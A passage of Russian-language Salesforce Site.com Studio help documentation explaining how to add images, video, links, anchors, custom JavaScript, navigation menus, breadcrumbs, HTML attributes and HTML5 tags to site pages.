1. Дваждыщелкните нужный блок содержимого на странице.

2. Установите курсор в нужное место и щелкните значок .

3. В диалоговом окне «Свойства изображения» выполните одно из указанных ниже
действий.

• Введите URL-адрес изображения в поле «URL-адрес изображения».

• Чтобы выбрать изображение на веб-сайте, щелкните «С веб-сайта» и выберите
нужное изображение из списка.

• Чтобы загрузить изображение со своего компьютера, откройте вкладку
«Загрузить», найдите нужное изображение и нажмите кнопку «Загрузить».

4. Введите краткое описание изображения в поле «Альтернативный текст». Данное
описание используется программами для чтения экрана или отображается взамен
изображения, которое не поддерживается обозревателем. Кроме того, данное
описание позволяет оптимизировать механизм поиска.

5. При необходимости просмотрите изображение относительно текста страницы и
задайте перечисленные ниже параметры.

• Ширина и высота изображения

• Промежутки вокруг изображения (с помощью свойств HSpace и VSpace)

• Выравнивание видеоизображения относительно текста страницы

• Граница изображения (например, чтобы задать пунктирную зеленую линию
толщиной 10 пикселов, введите значение «10 пикселов пунктирная зеленая»
в поле «Граница»)

6. Нажмите кнопку «Применить».

7. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Редактирование блоков содержимого в режиме конструктора

Общие сведения о панели редактирования содержимого

Импорт и управление активами
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Добавление видеофайлов в блоки содержимого в режиме конструктора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Пользователь

Site.com
Contributor

И

Роль автора,
назначенная на уровне
сайта

Конструкторыи администраторы сайта могут добавлять видеофайлы YouTube®, Google®,
Adobe® Flash®, Windows Media® и Apple QuickTime® в блоки содержимого при просмотре
страницы в режиме конструктора.

Ниже перечислены действия, доступные на открытой странице.

1. Дваждыщелкните нужный блок содержимого на странице.

2. Установите курсор в нужное место и щелкните значок .

3. В диалоговом окне «Свойства видеоролика» выберите тип видеофайла, а затем
выполните одно из указанных ниже действий.

• Введите URL-адрес видеофайла в текстовую область «URL-адрес видеоролика»
(например, http://www.youtube.com/watch?v=123abc).

• Чтобы выбрать видеофайл на веб-сайте, щелкните «С веб-сайта» и выберите
нужный видеофайл из списка.

• Чтобызагрузить видеофайлсо своего компьютера, откройте вкладку «Загрузить»,
найдите нужный видеофайл и нажмите кнопку «Загрузить».

Прим.: Длявыбораи загрузкидоступнытолькофайлы Flash, Windows Media
и QuickTime.

4. Чтобы определить способ отображения видеоролика на странице, настройте
указанные ниже параметры.

• Ширина и высота видеоизображения

• Промежуткивокруг видеоизображения (спомощьюсвойств HSpace и VSpace)

• Выравнивание видеоизображения относительно текста страницы

Запустите видеоролик для предварительного просмотра.

5. Нажмите кнопку «Применить». В блоке содержимого видеоролик отображается в
виде значка.

6. Нажмите кнопку «Сохранить».

Прим.: Предварительный просмотр страницы поддерживает все типы
видеофайлов, кроме файлов Windows Media.

СМ. ТАКЖЕ:

Редактирование блоков содержимого в режиме конструктора

Общие сведения о панели редактирования содержимого
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Добавление гиперссылок на текст и изображения в режиме конструктора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Припросмотрестраницыврежимеконструктораадминистраторысайтаиконструкторы
могут создавать гиперссылки на:

• Внешние веб-страницы или веб-сайты

• Страницы и активы сайта

• Сообщения эл. почты

• Привязки на странице

Ниже перечислены действия, доступные на открытой странице.

1. Дваждыщелкните нужный блок содержимого на странице.

2. Выберите нужный текст или изображение и щелкните значок .

3. Выберите нужный тип ссылки в раскрывающемся списке «Связать с:». Чтобы связать
с...

• веб-страницей, выполните указанные ниже действия.

a. Выберите значение «URL-адрес».

b. Введите адрес в поле «URL-адрес»  (например,
http://www.vneshniisait.ru).

c. Перейдите к действию 4.

• страницей или элементом сайта, выполните указанные ниже действия.

a. Выберите значение «Элемент сайта».

b. Выберите нужный тип элемента (например, страница или изображение).

c. Выберите нужный элемент. (Если список элементов не отображается,
установите курсор в поле «URL-адрес» и нажмите клавишу со стрелкой
«вниз» на клавиатуре.)

d. Перейдите к действию 4.

• привязкой, добавленнойранеена страницу, выполните указанныенижедействия.

a. Выберите значение «Привязка на странице».

b. Выберите нужную привязку в раскрывающемся списке. В противном случае введите имя новой привязки и
создайте привязку позже.

c. Перейдите к действию 5.

• сообщением эл. почты, выполните указанные ниже действия.

a. Выберите значение «Эл. почта».

b. Введите адрес эл. почты получателя и текст сообщения.

c. Перейдите к действию 5.

Прим.: Если блок содержимого используется в повторителе данных, то выражения поддерживают добавление
настраиваемой ссылки (например, строки URL-запроса) в элемент сайта или веб-страницу.

4. Чтобы выбрать окно для отображения элемента, выберите нужное значение в раскрывающемся списке «Цель».
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«Во всплывающем окне»: элемент отображается во всплывающем окне. При выборе данного параметра
пользователь может указать имя всплывающего окна, а также определить его размеры и внешний вид.

•

• «В новом окне (_blank)»: элемент отображается в новом безымянном окне обозревателя.

• «В текущем окне (_self)»: элемент отображается в том же окне в виде ссылки. Данный параметр выбран по
умолчанию.

• «В активном окне (_top)»: элемент отображается в активном родительском наборе рамок или окне-рамке,
содержащем ссылку.

• «Вродительскомокне (_parent)»: элементотображаетсявродительскомнаборерамокилиокне-рамке, содержащем
ссылку.

5. Принеобходимостивведитевсплывающееописаниедля ссылки. Подсказкаотображается в видевсплывающегоокна
при наведении указателя мыши на ссылку.

6. Нажмите кнопку «Применить».

7. Нажмите кнопку «Сохранить».

Чтобы удалить гиперссылку, выберите ее и щелкните значок .

СМ. ТАКЖЕ:

Редактирование блоков содержимого в режиме конструктора

Общие сведения о панели редактирования содержимого
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Добавление привязок на страницы в режиме конструктора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для редактирования только
содержимого сайтов
Site.com:
• Пользователь

Site.com
Contributor

И

Роль автора,
назначенная на уровне
сайта

Привязка — это невидимый маркер, определяющий отдельную область страницы.
Конструктор или администратор сайта может добавить привязку на страницу, а затем
создать гиперссылку на определенную область. Привязки превосходно подходят для
использования на длинных страницах. Например, страница, содержащая несколько
разделов, может быть дополнена ссылками на каждый раздел.

Ниже перечислены действия, доступные на открытой странице в режиме конструктора.

1. Дваждыщелкните нужный блок содержимого на странице.

2. Установите курсор в начало нужной строки и щелкните .

3. Введитеимяпривязкиинажмите кнопку «Применить». Рекомендуемиспользовать
имя, позволяющее определять расположение привязки на странице (например,
«вверху»).

4. Теперь создайте гиперссылку на привязку.

СМ. ТАКЖЕ:

Добавление гиперссылок на текст и изображения в режиме конструктора

Редактирование блоков содержимого в режиме конструктора

Общие сведения о панели редактирования содержимого
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Добавление настраиваемого кода на страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Настраиваемый код позволяет настраивать сайты посредством разметки (например,
HTML или JavaScript).

• Добавьтеразметкувопределеннуюобластьстраницыспомощьюэлементастраницы
«Настраиваемый код». JavaScript, добавленный с помощью элемента страницы
«Настраиваемыйкод», загружаетсяпризагрузке соответствующейобластистраницы.

• Добавьте разметку в тег страницы head. JavaScript, добавленный в тег страницы
head, загружается первым.

• Добавьте JavaScript в тег страницы body на странице 5154. JavaScript, добавленный в
тег страницы body, размещается в конце тега body и загружается только при
готовности DOM.

• Добавьте ссылку нафайл или библиотеку JavaScript на странице 5155 в тег страницы
head или body.

Совет:

• Сценариинемогутбыть выполненывовремяредактированиястраницывсреде
Site.com Studio. Чтобы протестировать код, откройте страницу для
предварительного просмотра.

• При создании сайта Site.com на основе текущего HTML-сайта рекомендуем
избегать вставки больших HTML-фрагментов исходного сайта посредством
элементастраницы «Настраиваемыйкод». Вкачествеальтернативырекомендуем
использовать доступные элементы страницы (например, панели, блоки
содержимого и таблицы данных). Данные элементы поддерживают быстрое
внесение будущих обновлений и запланированных изменений.

Добавление разметки прямо на страницу

1. Перетащите элемент страницы «Настраиваемый код» с панели «Элементы
страницы» на страницу.

2. Введите код в диалоговое окно «Редактировать код».

3. Чтобы добавить код прямо на страницу, нажмите кнопку «Сохранить и закрыть».

Добавление разметки в тег страницы Head

1. Щелкните «Настроить» в области «Редактировать разметку верхнего колонтитула» раздела «Сценарии» на панели
«Свойства».

2. Введите разметку в диалоговое окно «Редактировать код HTML».

3. Чтобы добавить разметку в тег страницы head, нажмите кнопку «Сохранить и закрыть».

Добавление JavaScript в тег страницы Body

1. Щелкните «Настроить» в области «Редактировать сценарий текста» раздела «Сценарии» на панели «Свойства».

2. Введите код в диалоговое окно «Редактировать код JavaScript». Нерекомендуемдобавлять теги <script>, так как они
уже добавлены.

3. Чтобы добавить код в конец тега страницы body, нажмите кнопку «Сохранить и закрыть».
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Использование файлов и библиотек JavaScript

Вместо кода JavaScript, добавляемого прямо на страницу, пользователи могут добавить ссылки на импортированные или
внешние файлы JavaScript, либо на общедоступную библиотеку (посредством Google Libraries API).

1.
Щелкните значок в области «Сценарии текста» или «Сценарии верхнего колонтитула» раздела «Сценарии» на
панели «Свойства».

2. Чтобы связать с...

• импортированнымфайлом JavaScript, выберите «Импортированныйсценарий», а затемвыберитенужныйфайл.

• общедоступнойбиблиотекой JavaScript, выберите«Библиотека Google AJAX», азатемвыберитенужнуюбиблиотеку.

• внешнимфайлом JavaScript, выберите «URL-адрес внешнего сценария», а затем введите нужный адрес.

3. Нажмите кнопку «Применить».

СМ. ТАКЖЕ:

Отображение данных с помощью настраиваемого кода

Добавление элементов страницы Site.com

Добавление навигации по веб-сайту

Общие сведения о карте сайта и иерархии страниц

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Представление «Страницы сайта» на вкладке «Общие сведения» содержит страницы и
ссылкикартысайта, используемыена веб-сайте. Папка «Карта сайта» представляет собой
иерархию или древовидную структуру сайта, которая хранит страницы и ссылки сайта,
добавленные в карту сайта. Все новые страницы или ссылки карты сайта автоматически
добавляются в эту папку. В папке «Целевые страницы» хранятся отдельные страницы,
которые были исключены из карты сайта. Данная папка идеально подходит для
временных страниц, например, страниц, создаваемых в рекламных или конкурентных
целях.

Совет: Если папка «Карта сайта» не отображается в представлении «Страницы

сайта» на вкладке «Общие сведения», щелкните значок .

Придобавлениименюнавигациина сайтрекомендуемтщательнопродуматьиерархию
странициссылоксайта, которая затембудетиспользоватьсядля созданияменю. Порядок
отображения страниц и ссылок карты сайта в меню навигации определяется
пользователем.

Ниже представлена иерархия сайта в виде древовидной структуры.
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1. Папка «Карта сайта», содержащая четыре страницы сайта.

2. Страница верхнего уровня в иерархии сайта.

3. Родительская страница верхнего уровня с двумя дочерними страницами. Дочерняя страница — это страница,
расположенная в иерархии сайта ниже родительской страницы.

4. Две дочерних страницы.

5. Папка «Целевые страницы», содержащая временную страницу, которая не является частью карты сайта или меню
навигации.

Совет: Значок , отображающийся напротив страницы, указывает на наличие дочерних страниц, доступных для
просмотра.

Поумолчаниюсоздаваемоеменюгенерируетсянаоснове странициссылоккартысайта, доступныхвпапке «Карта сайта»
представления «Страницысайта». Крометого, менюможетбыть созданонаоснове страницизпапки «Целевыестраницы»,
либо дочерних или одноуровневых страниц сайта.

Чтобы скрыть страницу в меню, пути и карте сайта, установите флажок «Скрыть страницу» на панели «Свойства»
соответствующейстраницы. Крометого, данныйпараметр запрещаетдоступпосетителейвеб-сайта кпрямому URL-адресу
страницы. По умолчанию посетителям доступны все страницы.

СМ. ТАКЖЕ:

Добавление меню навигации

Создание страниц Site.com
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Добавление ссылок в карту сайта

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Карта сайта поддерживает назначение страниц и прочих элементов. Добавление
внутреннихили внешних URL-адресов в карту сайта позволяет настраиватьменюипути
навигации, предоставляющие еще более универсальный доступ и контроль.

Например, сайт содержит страницу верхнего уровня «Продукты», которая отображает
менюнаосноведочернихстраниц. Чтобыдополнитьменюстраницей «Отзывы», которая
не является дочерней для страницы «Продукты», создайте ссылку карты сайта,
указывающуюнастраницу «Отзывы», идобавьте эту ссылкунижестраницы «Продукты»
в карту сайта. В этом случае страница «Продукты» будет содержать меню, состоящее из
дочерних страниц, и элемент меню, открывающий страницу «Отзывы».

1. Щелкните «Создать» > «Ссылка карты сайта» на вкладке «Общие сведения».

2. Введите имя ссылки.

3. Введите URL-адрес. URL-адреса могут быть абсолютными или относительными и
чувствительны к регистру.

Прим.: Среда Site.com Studio поддерживает предварительный просмотр
абсолютных ссылок карты сайта только при наличии префикса (например,
http:// или https://).

4. Нажмите кнопку «Создать».
Ссылка отображается в нижней части карты сайта.

5. Перетащите ссылку в нужную область карты сайта.

Прим.: Ссылкикартысайта автоматическидобавляются вменюипутинавигации.
Ссылка карты сайта не может быть задана в качестве настраиваемого корневого
узла пути.

СМ. ТАКЖЕ:

Добавление иерархической навигации на страницы

Добавление меню навигации

Общие сведения о карте сайта и иерархии страниц
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Добавление иерархической навигации на страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Элемент страницы «Путь», добавленный на страницу, позволяет пользователям
перемещатьсяпостраницамсайтаипросматриватьихтекущеерасположениевиерархии
сайта.

Обычноиерархическая навигация, организованная из страници ссылок, используемых
в карте сайта, дополняет навигационное меню. Чтобы скрыть страницу в меню, пути и
карте сайта, установите флажок «Скрыть страницу» на панели «Свойства»
соответствующейстраницы. Крометого, данныйпараметрзапрещаетдоступпосетителей
веб-сайта к прямому URL-адресу страницы. По умолчанию посетителям доступны все
страницы.

Совет: Чтобы автоматически добавить элемент страницы «Путь» на все страницы
сайта, созданныенаосновешаблона, добавьте данныйэлемент в соответствующий
шаблонстраницы. Путьнакаждойпроизводнойстраницеобновляетсядинамически
на основе ее текущего расположения в карте сайта.

1. Откройте нужную страницу или шаблон страницы.

2. Перетащите элемент «Путь» с панели «Элементы страницы» на страницу.

3. Выберите настраиваемый корневой узел в параметре «Корневой» на панели
«Свойства». Поумолчаниюиспользуетсязначение «Нет», согласнокоторомуструктура
пути формируется на основе текущего расположения страницы в карте сайта.

• Чтобы задать начальную страницу сайта в качестве первого элемента пути,
выберите значение «Начальная страница». Дополнительную информацию о
настройке начальной страницы сайта см. в разделе «Настройка свойств сайта».

• Чтобы задать конкретную страницу сайта в качестве первого элемента пути,
выберите нужную страницу.

Прим.: Ссылка карты сайта не может быть задана в качестве настраиваемого
корневого узла пути.

4. Выберите нужный разделитель в параметре «Разделитель» на панели «Свойства».

По умолчанию используется разделитель >. При необходимости замените данный
разделитель другим текстовым символом или вставьте HTML-код изображения,
доступного на сайте (например, <img src='/separatorimage.jpg'/>).

5. Чтобы оформить путь, выполните указанные ниже действия.

a. Выберите «Класс» на панели «Стиль».

b. Выберите нужное значение в раскрывающемся списке «Стиль».

c. При необходимости настройте значения на вкладке «Видимый».

СМ. ТАКЖЕ:

Добавление меню навигации

Редактирование и работа с элементами страницы Site.com
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Добавление меню навигации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Поумолчаниюсоздаваемоеменюгенерируетсянаоснове странициссылок картысайта,
доступных в папке «Карта сайта» представления «Страницы сайта». Кроме того, меню
может быть создано на основе страниц из папки «Целевые страницы», либо дочерних
или одноуровневых страниц сайта.

1. Чтобы изменить порядок отображения страниц сайта и ссылок карты сайта в меню,
перетащите их в нужную область папки «Карта сайта» или «Целевые страницы».
Чтобы сделать страницу или ссылку карты сайта дочерней, перетащите нужную
страницу или ссылку в другую страницу или ссылку. Чтобы исключить страницы
или ссылки из карты сайта, перетащите их в папку «Целевые страницы».

Совет: Еслипапка «Карта сайта» не отображается в представлении «Страницы

сайта» на вкладке «Общие сведения», щелкните значок .

2. Откройте страницу сайта или шаблон страницы, который должен быть добавлен в
меню навигации.

3. Перетащите элемент «Меню» с панели «Элементы страницы» на страницу.

4. Выберите нужные страницы в свойстве «Источникменю» на панели «Свойства». По
умолчаниюпапка «Карта сайта» используется для созданияменю. Кроме того, меню
отображает все ссылки карты сайта в соответствующей иерархии.

• Чтобысоздатьменюнаоснове страницизпапки «Целевые страницы», выберите
значение «Целевые страницы».

• Чтобы создать меню на основе дочерних страниц текущей страницы, выберите
значение «Дочерние страницы».

• Чтобы создать менюна основе всех одноуровневых страниц текущей страницы,
выберите значение «Одноуровневые страницы».

• Чтобы создать меню на основе дочерних страниц конкретной страницы сайта,
выберите нужную страницу.

Прим.: Если элемент меню добавляется в шаблон страницы, то выбор
источникаменю «Дочерние страницы» или «Одноуровневые страницы» инициирует
некорректное отображение меню вшаблонах страниц, которые не являются
частью иерархии карты сайта. Тем не менее, меню отображается корректно на
страницах сайта, созданных на основе шаблона страницы.

5. Чтобыизменить внешний видменю, выберите другую тему в раскрывающемся списке «Имя темы». Например, чтобы
создатьраскрывающеесяменю, выберите значение «Горизонтальный раскрывающийся список». Стильлюбойтемы
может быть изменен в соответствии с потребностями пользователя.

6. Чтобы изменить имя страницы в меню, откройте связанную страницу и обновите поле «Имя для навигации» на
панели «Свойства». Имя для навигации может содержать пробелы и специальные символы.

Чтобы изменить имя ссылки карты сайта в меню, наведите указатель мыши на представление «Страницы сайта»
вкладки «Общие сведения», щелкните «Правка» и обновите имя.
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Совет:

• Добавление новой страницы или ссылки карты сайта, обновление свойства страницы «Имя для навигации»
или изменение порядка отображения страниц и ссылок инициирует автоматическое отображение изменений
в меню.

• Чтобы меню автоматически добавлялось на все страницы сайта, добавьте меню в шаблон страницы, который
будет использоваться для создания страниц.

• Чтобыскрытьстраницувменю, путиикарте сайта, установитефлажок «Скрыть страницу» напанели «Свойства»
соответствующей страницы. Кроме того, данный параметр запрещает доступ посетителей веб-сайта к прямому
URL-адресу страницы. По умолчанию посетителям доступны все страницы.

СМ. ТАКЖЕ:

Оформление меню навигации

Общие сведения о карте сайта и иерархии страниц

Добавление элементов страницы Site.com
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Оформление меню навигации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Для оформления меню навигации используются темы таблицы стилей, которые могут
бытьнастроеныв соответствиисдизайномвеб-сайта. Придобавлениименюнавигации
на страницу используется тема по умолчанию. Пользователи могут выбрать другую
доступную тему в раскрывающемся списке «Имя темы» на панели «Свойства».

Чтобы настроить тему в соответствии с текущими бизнес-требованиями, выполните
указанные ниже действия.

1. Выберите меню навигации на странице.

2. Выберите нужную тему в раскрывающемся списке «Имя темы» панели «Свойства».
Выберите тему, которая больше всего подходит по дизайну, или выберите значение
«Пустой», чтобы открыть совершенно пустую тему.

3. Выберите «Класс» на панели «Стиль».

4. Выберитенужнуючастьменювраскрывающемся списке «Стиль». Кратковременное
выделение выбранного элемента позволяет легко определить оформляемую часть.

Совет: Опытные пользователи таблиц стилей также могут изменить стиль
меню в таблице стилей сайта.

5. Чтобы оформить выбранный элемент меню, воспользуйтесь свойствами панели
«Стиль». Внесенные изменения автоматически отображаются в меню.

6. При необходимости повторите указанные выше действия для каждой части меню.

СМ. ТАКЖЕ:

Добавление меню навигации

Общие сведения о карте сайта и иерархии страниц
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Добавление настраиваемых HTML-атрибутов

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Страницы и их элементы могут быть дополнены настраиваемыми HTML-атрибутами,
которые отображаются в HTML-теге элемента страницы. Например, при использовании
сторонних инфраструктур, которые, в зависимости от определенных атрибутов,
отображают элементы страницы иначе.

Ниже перечислены действия, доступные на открытой странице.

1. Выберитенужнуюстраницуилиэлементстраницынапанели «Структура страницы».

2.
Щелкните значок в разделе «HTML-атрибуты» на панели «Свойства».

3. Введите имя и значение для HTML-атрибута.

4. Нажмите кнопку «Сохранить».

Чтобы удалить HTML-атрибут, выберите нужный атрибут и нажмите кнопку .

Чтобы изменить порядок отображения HTML-атрибутов, выберите нужный атрибут и

нажмите кнопку или .

СМ. ТАКЖЕ:

Изменение HTML-тега элемента страницы

Семантические теги макета страницы HTML5

Изменение свойства страницы Doctype
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Изменение HTML-тега элемента страницы

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для редактирования свойств
элемента страницы:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная в Site.com
Studio

По умолчанию панели, повторители данных, элементы данных, настраиваемый код и
блоки содержимого определяются тегом div, который может быть заменен любым
другим HTML-тегомспомощьюсвойства «HTML-тег». Даннаявозможностьпредоставляет
пользователям дополнительный контроль над способами отображения элементов на
странице.

Внимание: Свойство «HTML-тег» — это надежный способ контроля за
параметрамиотображения элементов страницы. Однакоприизменении HTML-тега
элемента страницы пользователи могут создать недопустимый код HTML. Прежде
чем опубликовать любые внесенные изменения, рекомендуем тщательно
протестировать страницу.

Чтобы переопределить панель, повторитель данных, элемент данных, настраиваемый
код или блок содержимого, выполните указанные ниже действия.

1. Выберите элемент на странице.

2. Начните вводить имя тега в поле «HTML-тег» на панели «Свойства».

3. Выберитенужный HTML-тег в спискепредложенныхвариантов. Принеобходимости
определите собственный HTML-тег (например, при работе с библиотекой JavaScript
или внедрении новых тегов HTML5). Чтобы отключить соответствующий код, класс
или встроенные стили, удалите HTML-тег для панели, повторителя данных, элемента
данных, настраиваемого кода или блока содержимого.

Прим.: Нижеперечисленытеги, которыенеотображаютсяв спискепредложенных
вариантов.

• base

• body

• doctype

• head

• html

• meta

• style

• title

СМ. ТАКЖЕ:

Семантические теги макета страницы HTML5

Добавление настраиваемых HTML-атрибутов
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Семантические теги макета страницы HTML5

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

HTML5 определяетнесколькосемантическихтеговмакета страницы, которыеописывают
собственное содержимое. Данные теги позволяют поисковым системам и программам
чтения с экрана упростить процесс считывания и систематизации содержимого.

По умолчанию некоторые элементы страницы определяются тегами div  (включая
панели, повторители данных, элементы данных, блоки содержимого и настраиваемый
код). Свойство «HTML-тег» элементастраницыпозволяет заменятьтегисемантическими
блок-тегами HTML5. См. ниже.

ОписаниеПараметр

Раздел, содержащийнезависимыйэлемент
содержимого (например, журнальную
статью или сообщение на форуме).

Article

Раздел, содержимое которого связано с
содержимым основной страницы только

Aside

поверхностно (например, боковая панель
или рекламное объявление).

Раздел, содержащий дополнительные
сведения, которые пользователь может

Details

просмотреть или скрыть с помощью
интерактивного виджета. Данный раздел
может также содержать заключительный
раздел.

Раздел, содержащий введение или группу
элементов навигации.

Header

Раздел нижнего колонтитула страницы
или родительский раздел. Данный раздел

Footer

обычно содержит сведения о
родительском разделе и отображается
внизу раздела.

Раздел, содержащийссылкидлянавигации.Nav

Общий раздел страницы.Section

Заключительный раздел для раздела
сведений.

Summary

Совет: Прииспользованиисемантического тега HTML5 рекомендуемизменить свойство страницы doctypeна HTML5.

СМ. ТАКЖЕ:

Изменение HTML-тега элемента страницы

Добавление настраиваемых HTML-атрибутов
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Настройка представления Site.com Studio автора

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования и
управления сайтами
Site.com:
• Поле «Пользователь

Site.com
Publisher»,
включенноена странице
сведений о пользователе

И

Роль администратора
сайта или конструктора,
назначенная на уровне
сайта

Пользователи могут определять действия, доступные авторам в Site.com Studio.

ПредставлениеSite.com Studioавторапозволяетпользователямпросматриватьиобновлять
содержимое веб-сайта. Чтобы разрешить авторам редактирование содержимого сайта,
рекомендуемсначала создать страницынаосновешаблона, содержащиередактируемые
области, и включить некоторые свойства.

Чтобы разрешить авторам:

• редактирование текста на странице, создайте страницы на основе шаблона,
содержащие редактируемые блоки содержимого.

• добавлениеблоковсодержимогонастраницу, создайтестраницынаосновешаблона,
содержащие редактируемые панели.

• созданиестраницсайтанаосновешаблонастраницы, установитефлажок«Доступно
для авторов» на панели «Свойства» после открытия шаблона страницы.

• добавление виджетов на страницу, установите флажок «Доступно для авторов» в
представлении «Виджеты» на вкладке «Общие сведения» или на панели «Свойства»
после открытия виджета.

• обновление внешнего вида страниц и виджетов, настройте свойства фирменного
стиля.

Чтобы гарантировать правильную настройку представления Site.com Studio автора,
щелкните «Просмотр Studio в качестве автора» в раскрывающемся меню сайта (на
верхней панели инструментов). Чтобы завершить работу, щелкните «Назад к моему
представлению Studio».

По умолчанию представление автора недоступно сайтам сообщества Site.com. Тем не
менее, лицензия Site.com Contributor может использоваться для предоставления доступа
авторакконкретномупользователю. Дополнительнуюинформациюсм. вразделе «Общие
сведения о лицензиях на компоненты» справки Site.com. При необходимости пользователь
может открыть сайт сообщества Site.com для предварительного просмотра от имени
автора путем добавления компонента ?iscontrib в URL-адрес сайта. Например:
https://sitestudio.na1.force.com/?iscontrib.

СМ. ТАКЖЕ:

Создание шаблонов страниц Site.com

Создание виджетов

Общие сведения о фирменном стиле сайта

Общие сведения о режиме редактирования страницы автора
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Оформление страниц веб-сайта

Общие сведения о каскадных таблицах стилей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно для приобретения
в версиях: Enterprise
Edition, Performance
Edition иUnlimited Edition.

Доступно (с ограничениями)
в версиях: Developer
Edition.

Каскадные таблицы стилей (CSS) — это эффективное средство добавления стилей на
страницывеб-сайта. Крометого, этонаборправилформатирования, которыйопределяет
внешний вид страниц, в том числе шрифты, цвета, макеты и прочие визуальные
параметры.

Таблицыстилей, используемыедляконтроляшрифтов, позволяютдобитьсяпрактически
однообразногооформлениястраницвеб-сайта вразныхобозревателях. Таблицыстилей
позволяют контролировать следующие свойства текста: семейство шрифтов, размер
шрифта, цвет текста, цвет фона, форматирование текста и цвет ссылок.

Кроме того, таблицы стилей позволяют определять место отображения блочных
элементов, добавлять в них цвет и двигать текст вокруг, а также настраивать поля и
границы. Блочный элемент — это отдельный компонент содержимого, который
визуально представлен в виде блока. Например, блоки содержимого (которые
равнозначны тегам p) и панели (которые аналогичны тегам div) также являются
блочными элементами.

Site.com поддерживает последнюю спецификацию таблиц стилей CSS3.

Встроенные стили и таблицы стилей

Ниже перечислены действия, доступные в среде Site.com Studio.

